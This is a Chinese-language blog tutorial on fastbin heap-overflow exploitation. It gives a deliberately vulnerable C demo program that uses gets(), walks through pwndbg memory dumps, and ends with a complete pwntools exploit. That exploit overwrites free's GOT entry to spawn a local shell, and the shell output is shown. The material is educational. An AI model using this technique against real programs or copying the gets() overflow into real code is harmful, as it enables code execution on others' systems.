Overflow Freed Chunk

一世风尘过往云烟 弯月又挂南山颠
不见故人轻舞翩跹 只闻落泪往昔间


简介

Overflow Freed Chunk可以理解为常规的堆溢出,即程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块
不难发现,堆溢出漏洞发生的基本前提:
程序向堆上写入数据
写入的数据大小没有被良好地控制


原理

与栈溢出所不同的是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此我们一般无法直接通过堆溢出来控制EIP
所以通常我们利用堆溢出的策略是:
1.覆盖与其物理相邻的下一个 chunk 的内容:

- prev_size
- size,主要有三个比特位,以及该堆块真正的大小
    -- NON_MAIN_ARENA
    -- IS_MAPPED
    -- PREV_INUSE
    -- the True chunk size
- chunk content,从而改变程序固有的执行流。

2.利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere)或控制堆块中的内容等效果,从而来控制程序的执行流
通俗的来讲就是我们利用fastbin的分配和回收机制,构造出特定的一条chunk链,然后通过对上一个chunk的写入来溢出覆盖下一个chunk的fb指针,从而达到于fastbin_double_free一样的效果,需要注意的是我们在溢出的时候我们需要保留下一个chunk的一些基本信息,比如size的大小,inuse等


基本思路

基本步骤就是:
先申请两chunk:ptr[0]和ptr[1],然后先free(ptr[1]),再free(ptr[0]),此时ptr[0]z在ptr[1]的前面,即ptr[0]–>ptr[1];然后再次申请一个chunk,我们将拿到ptr[0],此时进行精心的溢出操作,可以覆盖到ptr[1],再次申请一次chunk将拿到ptr[1],最后再申请一次chunk就可以拿到特定位置的“chunk”,此时进行写入操作就可以修改成我们需要的内容了


实例

heap.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void sh(char *cmd)
{
system(cmd);
}

int main()
{
setvbuf(stdout,0,_IONBF,0);
int cmd,idx,sz;
char *ptr[10];
memset(ptr,0,sizeof(ptr));
puts("1.malloc+gets\n2.free\n3.puts\n");
while(1)
{
printf("> ");
scanf("%d %d",&cmd,&idx);
idx %= 10;
if(cmd==1)
{
scanf("%d%*c",&sz);
ptr[idx] = malloc(sz);
gets(ptr[idx]); //溢出
}
else if(cmd==2)
{
free(ptr[idx]);
ptr[idx] = 0; //不再存在double_free
}
else if(cmd==3)
{
puts(ptr[idx]);
}
else
{
exit(0);
}
}
return 0;
}

编译:

1
gcc -no-pie heap.c -o heap -g -w


演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
root@sir-PC:/home/sir/desktop# gdb heap
GNU gdb (Debian 7.12-6+b2) 7.12.0.20161007-git
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from heap...done.
pwndbg> b 20
Breakpoint 1 at 0x40084c: file heap.c, line 20.
pwndbg> r
Starting program: /home/sir/desktop/heap
1.malloc+gets
2.free
3.puts

>
Breakpoint 1, main () at heap.c:20
20 scanf("%d %d",&cmd,&idx);
pwndbg> c
Continuing.
1 0
24 aaaabbbb #ptr[0],第一次申请
>
pwndbg> x/20gx 0x602660
0x602660: 0x0000000000000000 0x0000000000000021
0x602670: 0x6262626261616161 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000020981
0x602690: 0x0000000000000000 0x0000000000000000
0x6026a0: 0x0000000000000000 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000000000
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
1 1
24 qqqqssss #ptr[1],第二次申请
>
pwndbg> x/20gx 0x602660
0x602660: 0x0000000000000000 0x0000000000000021
0x602670: 0x6262626261616161 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000021
0x602690: 0x7373737371717171 0x0000000000000000
0x6026a0: 0x0000000000000000 0x0000000000020961
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000000000
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
2 1 #free(ptr[1])
>
pwndbg> x/20gx 0x602660
0x602660: 0x0000000000000000 0x0000000000000021
0x602670: 0x6262626261616161 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000021
0x602690: 0x0000000000000000 0x0000000000000000
0x6026a0: 0x0000000000000000 0x0000000000020961
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000000000
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
2 0 #free(ptr[0])
>
pwndbg> x/20gx 0x602660
0x602660: 0x0000000000000000 0x0000000000000021
0x602670: 0x0000000000602690 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000021
0x602690: 0x0000000000000000 0x0000000000000000
0x6026a0: 0x0000000000000000 0x0000000000020961
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000000000
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000

现在我们再次申请chunk,在进行写入操作的时候造成溢出就可以覆盖下一个chunk,即ptr[1]的fb了,即完成了修改fb的操作,当我们再次申请两个chunk的时候,就可以跳转的我们修改的fb上了
这里我们先只演示可以发生溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> c
Continuing.
1 2
24 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
>
pwndbg> x/20gx 0x602660
0x602660: 0x0000000000000000 0x0000000000000021
0x602670: 0x6161616161616161 0x6161616161616161
0x602680: 0x6161616161616161 0x6161616161616161
0x602690: 0x6161616161616161 0x6161616161616161
0x6026a0: 0x6161616161616161 0x6161616161616161
0x6026b0: 0x0061616161616161 0x0000000000000000 //溢出
0x6026c0: 0x0000000000000000 0x0000000000000000
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
p = process('./heap')
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
gdb.attach(p)

def cmd(x):
p.recvuntil('> ')
p.send(x+'\n')

def malloc(i,s):
cmd('1 %d\n24 %s'%(i,s))

def free(i):
cmd('2 %d'%i)

malloc(0,'a'*8)
malloc(1,'b'*8)
free(1)
free(0)
malloc(2,'a'*24 + p64(0x21) + p64(0x601018))
malloc(3,'sh')
malloc(4, p64(0x4007d7))
p.recvuntil('> ')
p.sendline('2 3')
p.interactive()

这里我是将free的got表的地址换成了sh()函数的地址,然后在ptr[3]的位置写入了一个”sh”字符串,当我们调用free(ptr[3])时,就变成了调用system(ptr[3]),即system(sh);
这里需要注意的是溢出时字符串的构造:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x602660
140 0x602660: 0x0000000000000000 0x0000000000000021
141 0x602670: 0x6161616161616161 0x6161616161616161
142 0x602680: 0x6161616161616161 0x0000000000000021 //<--这个位置是chunk的size需要保留,与申请的字节有关
143 0x602690: 0x0000000000601018 0x0000000000000000
144 0x6026a0: 0x0000000000000000 0x0000000000020961
145 0x6026b0: 0x0000000000000000 0x0000000000000000
146 0x6026c0: 0x0000000000000000 0x0000000000000000
147 0x6026d0: 0x0000000000000000 0x0000000000000000
148 0x6026e0: 0x0000000000000000 0x0000000000000000
149 0x6026f0: 0x0000000000000000 0x0000000000000000

exp.py运行结果:

1
2
3
4
5
6
7
8
9
10
sir@sir-PC:~/desktop$ python exp.py
[+] Starting local process './heap': pid 25427
[*] Switching to interactive mode
$ ls
core exp.py heap heap.c
$ whoami
sir
$ id
uid=1000(sir) gid=1000(sir) 组=1000(sir),7(lp),27(sudo),100(users),107(netdev),110(lpadmin),116(scanner),122(sambashare),996(autologin)
$

文章目录
  1. 1. 简介
  2. 2. 原理
  3. 3. 基本思路
  4. 4. 实例
  5. 5. 演示
  6. 6. EXP
,